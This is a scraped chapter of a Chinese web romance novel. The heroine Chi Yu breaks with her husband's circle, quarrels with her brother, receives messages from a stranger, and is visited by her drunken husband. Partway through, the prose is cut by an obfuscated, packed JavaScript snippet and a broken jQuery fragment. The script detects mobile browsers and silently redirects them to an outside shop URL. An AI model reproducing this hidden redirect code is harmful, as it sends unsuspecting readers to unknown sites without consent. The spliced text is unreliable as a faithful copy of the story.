文趣网 > 其他小说 > 烂掉的白月光[快穿] > 9. 第 9 章
    池虞辞去了片场的工作。

    她没有告诉江彦靖,哦,她已经把江彦靖拉黑了。

    她直接打给了李浩。

    李浩听见池虞请辞,第一反应竟是觉得遗憾、失落。下意识便想挽留:

    “真的想好了吗?如果你觉得助理的工作太琐碎的话我可以安排你……”

    手机那头传来柔柔清浅的声音,好像一道清风拂过耳畔:

    “这段时间多谢你的照顾啦。”

    李浩一顿,已经能想象到池虞就在他面前,眉眼弯弯地冲着他笑。

    江彦靖……你真该死啊!

    “小虞你听我说,那天真是个误会,我也在现场的。彦靖绝不可能……”

    “改天见。”

    池虞断了通话。

    --

    八卦满天飞时,池虞将门锁换了。

    幸好没有搬去大房子,搬来搬去的多麻烦。

    趁着好天气,池虞将江彦靖的东西都整理了出来。一些杂物被她扔了,她拿起一尘封的相册正要扔时,忽然顿住了。

    那是两人的结婚照,那时的他们很年轻,也很穷。

    只是简简单单请朋友吃了一桌,池虞自然没有穿婚纱,穿的是一袭简简单单的白裙,笑容清浅,而江彦靖同样穿着简简单单的衬衫,搂着她的样子好像打了胜仗的将军。

    凝着相册上男人的笑颜,池虞怔愣了下,忽然门铃响了,打断了池虞的沉思。

    她下意识以为是江彦靖,打开门看到是池骋时,愣了下。

    “姐,不认识我了?”见池虞微惊的表情不像假的,池骋垮下了脸,“姐,我变化有这么大吗?胖了还是瘦了?”

    池虞一直供养弟弟上学,池骋也算是懂事的孩子,心疼姐姐,一直勤工俭学没怎么回来,姐弟俩一年也见不了几次。

    所以池虞乍见到池骋还是非常开心的。

    “不是电话里说了等暑假回来吗?怎么今天突然来了?”池虞粲然一笑,将池骋迎了进来,先去切了水果,又系上了围裙准备下厨。

    “吃饭了吗?哎呀提前回来也不早点跟我说,我也好备些菜……”

    “别忙了姐,我不饿。”

    “去买瓶酱油。”

    池骋抿了抿唇,转头下楼去买了酱油。

    买了酱油回来,开始踱步。池虞又使唤他去买桶油,买完回来还是背着手走来走去。

    就在池虞面前晃来晃去,晃得她眼晕,忍不住放下了锅铲:

    “想说什么直接说吧。”

    池骋看着池虞收拾好的满地大箱小箱,急道:

    “姐,你和姐夫怎么了?我也看了报道,我相信姐夫不是那种人!”

    池虞眸色淡淡:“我也知道他不是那种人。”

    池骋瞪眼:“那……那这些是什么?姐,你难道真的要和姐夫断了吗?”

    池虞眉头轻轻拧了下:“大人的事小孩别管。”

    “我早就成年了。”池骋真急了,踱步到池虞身边:“姐,你熬了那么多年,终于熬到了姐夫功成名就,今天就算不是那个女星,也会是别的女的。就这样让给别人你甘心吗?”

    “况且平心而论,姐夫真的很不错了。哪次你们吵架不是他低头?妈出事那会儿也是姐夫忙前忙后,那时的姐夫也是孩子不是吗?每次债主找上门也是姐夫摆平,我这些年读书,包括爸也都是姐夫……”

    池虞脸色沉下来:“你收他钱了?”

    池骋最怕池虞这个样子,因为总会让他想起母亲。

    母亲出事时,他还很小,记忆中的母亲渐渐淡去,慢慢换作了池虞的脸。

    母亲出事后,父亲酗酒,是姐姐担起了这个家。

    姐姐很辛苦,他很敬重姐姐,却也怕姐姐。

    姐姐是很辛苦,生活所迫让她性格逐渐扭曲,阴晴不定……是姐夫一直陪在她身边。

    他有时也忍不住想,如果换做他是姐夫……肯定是受不了的。

    可是为了姐姐好,他必须说。

    池骋忍住退意,咬了咬牙道:“不管怎么说,现在姐夫终于熬出头了,你……你为什么就不能体贴体贴他呢?”

    耳边传来红姐姐的轻笑:

    【你弟弟的意思是……当金丝雀不好吗?】

    “姐,我说实话,姐夫已经比绝大多数男的都好了!长相帅气脾气又好,几年如一日对你好,以后名气越来越大,钱也会越来越多,你…你到底还有什么不满足的?”

    不知何时起,红姐姐又来了。

    她悬浮在池虞身边,在她耳边呵气:

    【是啊池虞,你还有什么不满足的?】

    池虞单手撑在沙发上才勉强支撑住身体:“你走。”

    “姐,我说真的。你很难再遇到比姐夫更……”

    池虞直接拿起手边的抱枕砸了过去!

    “是!你们所有人都觉得他好!只有我不好!我配不上他!你们满意了吧!”

    抱枕砸在池骋身上,池骋也动了气,脱口而出:

    “你知道你和妈越来越像了吗?”

    话音刚落,池虞肉眼可见地浑身一震,难以置信地看着她亲爱的弟弟:

    “……你说什么?”

    池骋看着池虞震颤的血丝密布的双眸,这才意识到自己说了什么。有些磕磕巴巴,手忙脚乱地想要去拉池虞:

    “姐……姐我错了,我不是那个意思……”

    池虞将花瓶砸了过去:“滚!”

    花瓶碎了满地。

    池骋知道池虞的脾气,不敢再惹她,只能退到屋外。

    “姐……是我的错,你别生气了。我就在外面。你别生气……”

    门被关上,一室昏暗。

    池虞剧烈喘息着,胸腔上下起伏着,许久许久,脊背紧紧贴着墙壁滑落下来。

    她浑身都在发抖,难以控制。

    她也不知道自己怎么了,就像一直不断积蓄的洪水突然放了闸。

    耳边是红姐姐越来越恣意的笑声,似乎在嘲笑她总算到了这一天。

    池虞感觉水漫上了咽喉,明明没有水,却觉得渐渐难以呼吸,喘不上气。

    突然,“叮咚”的一声,手机里传来信息的声音。

    池虞瞥了一眼,是周幼晴发来【抱抱】的表情包。

    她浑身包括手控制不住地在抖,她现在不想看到任何人的信息,本想关机,却因为手抖不小心打开了页面。

    屏幕弹出一条信息:

    【我知道你只是太累了。】

    泪珠滴在屏幕上,模糊了字眼。

    池虞用手背擦了下眼睛,缓了一下情绪,屏幕里又发来一条新信息。

    【我不是周幼晴。】

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17656627|207001||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >池虞愣了下,泪眼眨了眨,多看了一眼才确定她并没有看错。她迟疑着,拿起手机输入——

    “你是谁?”

    【我是你的朋友。】

    一句简短的信息后,又是一个【抱抱】的表情包。

    或许是因为她太寂寞太孤独了,端午仍在医院里,她深爱的人负气离开,而她的血亲一门之隔的距离,却并不懂她。

    鬼使神差的,池虞没有删掉这个可疑的信息、可疑的人。

    她任由屏幕熄灭。

    黑暗中缓缓地吐了口气,像溺水的人终于得到了一口氧。

    --

    手机的另一头,周幼晴想要去争夺自己的手机没抢过来,眼睁睁看着周屿长手一扬,越过了她。看着屏幕的眼神亮得出奇,轻笑了声,将手机揣进了兜里。

    “哥!你到底要做什么?”周幼晴不能理解,“狗仔是不是也是你叫来的?”

    周屿心情极好:“这是公司的决定,新片需要炒作。放心,所有骂你的贴子哥都安排人删掉了。”

    周幼晴盛怒:“哥!你把我当什么了?我才不屑于用这种手段……”

    周屿不满,看她的眼神好像在看一个胡闹的孩子:“黑红也是红,不红才是原罪。知道这样可以让你少走多少弯路吗?”

    “那江彦靖呢?他知道这件事吗?”

    周屿轻嗤了声,神情倨傲:“他只需要拍好他的电影,不需要知道这些。”

    “那池虞呢?为什么把她牵扯进来?”周幼晴看着周屿的表情,脸色渐渐难看了起来,“你真的是认真的?对一个人妇?”

    周屿唇角微翘,笑容风流又多情:“很快就不是了。”

    周幼晴知道江彦靖对池虞的情感,绝不像表面那样好像岌岌可危。

    也知道周屿对江彦靖的轻视。

    江彦靖再如何有才情,也只不过是小镇出来的贫穷青年,掀不了什么风浪。

    事情渐渐脱序,周幼晴隐隐有不好的预感:“哥,这么做会出事的……”

    周屿只是笑着摸了摸妹妹的头:

    “你是天生的明星,而哥是天生的商人。商人的事情,你别管。乖。”

    ------------------------------------------------------

    夜半的时候,门被推开了。

    到底是亲弟弟,池虞知道池骋担心她,一定不会走远,也一定会回来,所以还是给他留了门。

    也给他在地上打了地铺。

    甚至桌上还备好了炒饭,只要加热一下就能吃。

    她听到耳边的动静,霹雳桄榔的,想起现在黑漆漆的,池骋怎么说也对家里的摆设不熟,池虞心里叹了口气,认命地准备起身给他热吃的。

    然而下一秒一个庞然大物醉醺醺地压了上来。

    酒气和熟悉的冷香争先一下子包裹住了她,热气和胡茬弥漫在她头面颈间,不断蹭着她胡乱的吻,喑哑的嗓音像蛇一样钻进她耳朵里:

    “阿虞……”

    池虞一下就睁开了眼睛,狠狠推开了身上的人:“你发什么疯!”

    “嘣”的一声,江彦靖被她推倒在地。

    他先是低笑了下,然后掀开眼帘……红红的桃花眼盯着她、控诉她:

    “阿虞……你对我不公平。”